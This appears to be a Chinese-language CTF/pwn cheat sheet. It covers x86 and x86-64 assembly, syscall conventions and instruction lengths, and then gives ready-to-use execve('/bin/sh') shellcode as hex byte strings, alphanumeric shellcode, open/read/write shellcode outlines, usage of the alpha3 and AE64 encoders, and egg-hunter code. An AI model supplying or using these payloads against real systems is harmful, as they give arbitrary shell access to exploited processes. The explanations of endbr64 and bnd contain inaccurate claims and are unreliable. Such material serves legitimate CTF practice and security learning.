shellcode及一些汇编
基础汇编
syscall(~int 0x80)
function | syscall number x86_32 | syscall number x86_64 |
---|---|---|
read | 3 | 0 |
write | 4 | 1 |
open | 5 | 2 |
execve | 11 | 59 |
64位下照样可以用int 0x80
- syscall:
寄存器 rax 中存放系统调用号,同时系统调用返回值也存放在 rax 中
当系统调用参数小于等于6个时,参数则必须按顺序放到寄存器 rdi,rsi,rdx,r10,r8,r9中 - int 0x80 :
寄存器 rax 中存放系统调用号,同时返回值也存放在 rax 中
当系统调用参数小于等于6个时,参数则必须按顺序放到寄存器 rbx,rcx,rdx,rsi,rdi ,rbp中
汇编长度判断
mov
双寄存器
指令 | 长度(bytes) |
---|---|
mov r64,r64 | 3 |
mov e32,e32 | 2 |
mov 16,16 | 3 |
单寄存器
指令 | 长度(bytes) |
---|---|
mov r64,int32 | 7 |
mov r64,int64 | 10 |
mov r64,[r64]/mov [r64],r64 | 3~4 |
mov r64,[r64+0x??]/mov [r64+0x??],r64 | 在上基础根据??判断增加 |
mov e32,int32 | 5 |
mov e32,[e32]/mov [e32],e32 | 2~3 |
mov e32,[e32+0x??]/mov [e32+0x??],e32 | 在上基础根据??判断增加 |
在上基础根据??判断增加:增加规则,2个十六进制数及以下+1字节;3到8个十六进制数+4字节,再往上+8字节
push&pop
指令 | 长度(bytes) |
---|---|
push int8 | 2 |
push int32/int64 | 5 |
push r64/e32 | 1 |
pop r64/e32 | 1 |
pop [r64] | 2~3 |
pop [r64+0x??] | 在上基础根据??判断增加 |
and&or&xor
指令 | 长度(bytes) |
---|---|
and/or r64,r64 | 3 |
and/or/xor r64,int8/int32/int64 | 4/6/10? |
and/or e32,e32 | 2 |
and/or/xor r64,int8/int32/int64 | 3/6/10? |
jmp
指令 | 长度(bytes) |
---|---|
jmp r64(绝对跳转) | 2 |
jmp $+0x??(相对跳转) | 视??决定,>=2 |
指令相关
movabs
在x86-64架构下想要加载一个64位的立即数,应该使用 movabs 指令,而不是 mov 指令,以确保立即数被正确加载到64位寄存器中。
当将64位的立即数赋值给寄存器时
应该这样写movabs <寄存器>, <立即数>
不过写mov影响也不大,因为编译后会自动处理为movabs
movzx&movsx
movzx
用于将一个较小的无符号数(通常是8位或16位)从一个寄存器复制到另一个较大的寄存器,并在高位补零。
这个指令通常用于将无符号数扩展到较大的寄存器中,以便进行后续的运算,避免出现符号位扩展的问题。
例如,x86 架构中的 movzx
可以这样使用:
1 | assemblyCopy code |
这条指令会将存储在 ebx
寄存器指向的内存地址中的一个8位无符号数值复制到 eax
寄存器,并将 eax
的高位补零,将其扩展为32位。这样,eax
中的值将是一个无符号的32位整数。
movsx
是movsx
的有符号对应指令
cdqe&cdq
cdqe
和 cdq
是x86-64架构(amd64)中的指令,用于对寄存器进行符号扩展,特别是在从32位寄存器到64位寄存器的数据传送中。
cdqe
指令:cdqe
用于从32位寄存器eax
扩展到64位寄存器rax
。它执行符号扩展,即将eax
的符号位(即最高位)复制到rax
的高位,使得rax
的高32位与eax
的值保持一致。- 在32位代码中,通常使用
cdqe
来将有符号的32位整数符号扩展为64位整数,以便继续在64位寄存器中进行操作。
示例:
1
2mov eax, -123 ; 将一个有符号的32位整数 -123 赋值给 eax
cdqe ; 将 eax 符号扩展到 rax,此时 rax 的值为 (0xFFFFFFFFFFFFFF85)cdq
指令:cdq
用于从32位寄存器eax
扩展到64位寄存器组合edx:eax
。它执行符号扩展,即将eax
的符号位(即最高位)复制到edx
的所有位,使得edx
全部填充为eax
的符号位。- 在32位代码中,通常使用
cdq
来将有符号的32位整数符号扩展为64位整数的组合(即edx:eax
),以便进行64位整数运算。
示例:
1
2mov eax, -123 ; 将一个有符号的32位整数 -123 赋值给 eax
cdq ; 将 eax 符号扩展到 edx:eax,此时 edx 的值全部为 0xFFFFFFF(-1)
bnd
在汇编中,经常能看到jmp指令前有一个bnd标识符
在汇编语言中,bnd
指令通常用于设置边界检查,以确保内存访问不会超出指定的边界。bnd
指令通常与条件跳转指令(如 jmp
)一起使用,以实现在特定条件下跳转到目标地址。
具体来说,bnd
指令可以用来设置内存操作的边界检查条件。如果边界检查条件失败,那么跳转指令(如 jmp
)可能不会执行跳转,从而防止越界访问。
endbr32&&endbr64
参考文章endbr64指令(x64) | CS笔记 (pynote.net)
在代码段的开头有一条指令出现频率非常高,就是endbr64
该指令是Intel CET(Control flow Enforcement Technology)技术的一部分
Intel CET offers hardware protection against Return-oriented Programming (ROP) and Jump/Call-oriented Programming (JOP/COP) attacks, which manipulate control flow in order to
re-use existing code for malicious purposes
.Its two major features are:
- a shadow stack for tracking return addresses and
- indirect branch tracking, which endbr64 is a part of.
The opcode is chosen to be a NOP on older processors, such that the instruction is ignored if CET is not supported, the same happens on CET-capable processors where indirect branch tracking is disabled.
So what does endbr64 do?
Preconditions:
- CET must be enabled by setting the control register flag CR4.CET to 1.
- The appropriate flags for indirect branch tracking in the IA32_U_CET (user mode) or IA32_S_CET (supervisor mode) MSRs are set.
how endbr64 works?
endbr64 is an x86-64 instruction that is used as part of Control Flow Enforcement Technology (CET), which is a security feature designed to mitigate certain types of attacks such as Return Oriented Programming (ROP) and Jump Oriented Programming (JOP).
The basic idea behind CET is to create shadow stacks that keep track of the call site addresses using a separate stack from the regular call stack. This can help detect when an attacker tries to redirect program execution by overwriting the return address on the regular call stack.
However, there is still a vulnerability in this approach: an attacker could potentially use gadgets that don’t include a ret instruction at the end, preventing the shadow stack from being updated properly. In other words, an attacker could subvert the control-flow enforcement mechanism by using a gadget to jump directly to another gadget without actually returning to the original code.
This is where endbr64 comes in. It is used to mark the end of a branch instruction sequence (such as a jmp or call) and ensures that the shadow stack is updated even if the branch doesn’t end with a ret. The endbr64 instruction is placed immediately after the branch instruction and signals to the processor that the branch has ended and that the shadow stack should be updated accordingly.
In summary, endbr64 is a security feature designed to complement Control Flow Enforcement Technology (CET) by ensuring that the shadow stack is correctly updated even in the presence of branches that do not end with a ret instruction. This helps to prevent attacks such as ROP and JOP that attempt to hijack program execution by manipulating the control flow of the program.
CET 通过编译器在合理的间接跳转 (call/jmp) 中用新的指令做标记,新指令包含 endbr32 和 endbr64。程序每次执行跳转时,CPU 都会判断下一条指令是不是 endbr32/endbr64 指令,如果是则正常执行,如果不是,则会触发 #CP 异常。
repz ret
指令组合 rep;ret 在反汇编中对应于 repz;retq,分别对应同义名。在指导建议书中建议 ret 前增加rep 的组合来避免使 ret 指令成为条件跳转指令的目标。根据 AMD 的说法,当通过跳转指令跳转到ret 指令时,处理器不能正确预测 ret 指令的目的。这里的 rep 指令就是一种空操作,因此作为跳转目的插入它,除了能使代码在 AMD 上运行的更快,同时不会改变代码的其他行为。
seta&setb
设置al,bl用的指令
test&cmp
test ax,bx
相当于and ax,bx
cmp ax,bx
相当于sub ax,bx
不过它们根据计算的结果调整flag标志位,并不保存计算结果
ror&&rol
在汇编语言中,ror
是“循环右移”(Rotate Right)的缩写。ror
指令将二进制数据按位向右循环移动,被移出的位会重新出现在最左侧。这个操作通常用于对二进制数据进行循环移位,比如在加密算法、校验和计算等方面。
与之相对应的还有rol
,左循环移位
retfq
程序运行时判别是64
位还是32
位,主要靠cs
寄存器
而retfq
就相当于pop ip; pop cs
,
其中cs
为0x23
代表32
位,为0x33
代表64
位
还有需要注意的是,在64
位切换到32
位时,地址解析的规则也会变为32
位的,因此栈帧会发生改变,如原先的rsp = 0x7fff23333333
会被解析成esp = 0x23333333
,所以直接把rop
或shellcode
布置在64
位的地址上就会在push
与pop
等操作时出问题,故需要先将rop
或shellcode
写入bss
段等短地址区域上,在切换跳转后,也要注意平衡栈帧。
ret $n
在搜索gagdet时,经常会遇到ret 后面接一个立即数的例如ret 0x5069
之前一直认为这是返回到0x5069的意思
但其实这相当于pop ip;sp+=n
常用的ret实际上就相当于是ret 0
即pop ip;sp+=0
高位清空机制
intel规定,对通用寄存器低32位操作会导致高32位清零,对低16位、8位操作则对高位无影响
例如:
1 | mov eax,0x888 ;会导致rax高32位清零 |
c内联汇编_asm_
在c语言中可以使用_asm_标识符来声明一段汇编代码
例如
1 | __asm__ ( |
不过其使用的是AT&T语法,还要注意每一句的结尾需要换行
shellcode相关
shellcode(getshell)
amd64
22字节:
1 | \x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05 |
需要确保rax高位本来就是0
23字节:
1 | \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05 |
53字节,pwntools:
1 | \x6A\x68\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x48\x89\xE7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xF6\x56\x6A\x08\x5E\x48\x01\xE6\x56\x48\x89\xE6\x31\xD2\xFF\x34\x25\x00\x00\x00\x00\x58\x0F\x05 |
纯ascii大小写字母加数字表示的shellcode:
1 | Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t |
i386
18字节:
1 | \x6A\x0B\x58\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80 |
21字节:
1 | \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80 |
48字节,pwntools:
1 | \x6A\x68\x68\x2F\x2F\x2F\x73\x68\x2F\x62\x69\x6E\x89\xE3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xC9\x51\x6A\x04\x59\x01\xE1\x51\x89\xE1\x31\xD2\xFF\x35\x00\x00\x00\x00\x58\xCD\x80 |
纯ascii大小写字母加数字表示的shellcode:
1 | PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA |
shellcode(orw)
i386
采用int 0x80系统中断达到系统调用
eax存放系统调用号并在调用结束存储返回值,ebx,ecx,edx,esi,edi依次为参数,与函数调用约定存放在栈中不同
open(返回文件流序号fd)
1 | xor ecx,ecx |
read
1 | mov ebx,eax ;上一步返回的fd存储在eax |
write
1 | mov ebx,1 ;mov ebx,2也行 |
amd64
与i386大同小异
采用syscall系统调用
rax存放系统调用号并在调用结束存储返回值,rdi,rsi,rdx,rcx,r8,r9依次为参数,与函数调用约定一致
open
1 | xor rsi,rsi |
read
1 | mov rdi,rax |
write
1 | xor rdi,rdi |
纯可见字符shellcode
相关资料
alpha3
其是一个python2的脚本
使用方法:
先生成shellcode
1 | from pwn import * |
保存到aplha3目录下
python2 sc.py > payload
生成纯可见字符alpha shellcode
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="payload"
参数分析:
- x64 选择位数[可选x86]
- ascii mixedcase 选择字符表[可选ascii uppercase (数字+大写字母) ascii lowercase (数字+小写字母) ascii mixedcase (数字+大小写字母)]
- rax 用于编码的寄存器(shellcode基址) 见下引例
- —input=’’ 输入文件
比如有如下代码:
1 | 00101246 48 8d LEA RAX,[RBP + -0x410] |
通过call rax跳转到shellcode,那么alpha3命令中用于编码的寄存器就是rax
shellcode的起始地址存在哪个寄存器中,用于编码的寄存器就是哪个
alpha3支持的所有编码方式如下:
1 | Valid base address examples for each encoder, ordered by encoder settings, |
ae64
AE64是杭电的一位大师傅写的python3脚本工具,专用于生成64位的aplha shellcode。
AE64的优势在于编码时可以更加灵活地使用寄存器,但是生成的alpha shellcode比alpha3要更长一些。
此外AE64是python写的,可以直接在python中调用,以下是官方的栗子:
1 | from pwn import * |
shellcraft使用
pwntools自带的shell生成模块,生成的汇编代码能达到目的,但一般长度较大
shellcraft.sh()
shellcraft.read()
shellcraft.write()
shellcraft.open()
寄存器记得加引号
手搓
清零
syscall
int 0x80
参数布置
等等
技巧
egg-hunter
参考
- 原创]Linux egg-hunt shellcode-Pwn-看雪-安全社区|安全招聘|kanxue.com
- http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
所谓的egg-hunter其实就是利用有限的shellcode去搜索其他shellcode并执行
对现在大多数linux环境下其实并不太实用,因为NX的存在
不过我们能从中学到用于内存搜索的shellcode技巧,即对access或sigaction系统调用的使用
在用户态下shellcode利用下,如果我们需要拥有内存搜索的能力,其中最重要的就是在不知道地址空间布局的情况下,我们如何判断一个内存地址是否处于空洞
access
access系统调用用于判断调用进程是否具有对指定的文件执行某种操作的权限
1 |
|
乍一看这怎么能帮助我们判断内存地址有效呢
在man access
中可以看到access有一个返回值EFAULT
当出现这种情况时代表pathname points outside your accessible address space.
即第一个参数指向不可访问区域,因此我们可以通过该返回值判断内存地址是否位于空洞
1 | 00000000 BB90509050 mov ebx,0x50905090 |
sigaction
1 | int sigaction(int signum, const struct sigaction *act,struct sigaction *oldact); |
同样的套路
当返回EFAULT
代表act or oldact points to memory which is not a valid part of the process address space.
1 | 00000000 6681C9FF0F or cx,0xfff |
可以看出来利用sigaction实现和用access实现却别并不大。sigaction实现起来更加的简短,但是它也有缺点,缺点就是没有access实现的稳定,容易产生大量的EFAULT,并且sigaction系统调用从函数原型来看是有三个参数的,这里只传了第二个参数,一般情况下没有什么问题,但是有可能会出问题,根据文章中的解决方法是:把edx初始化为NULL、ebx为一个无效的signal number
以上例子都是针对寻找shellcode并跳转执行
如果我们需要搜索内存并输出,只要将跳转部分改为write调用即可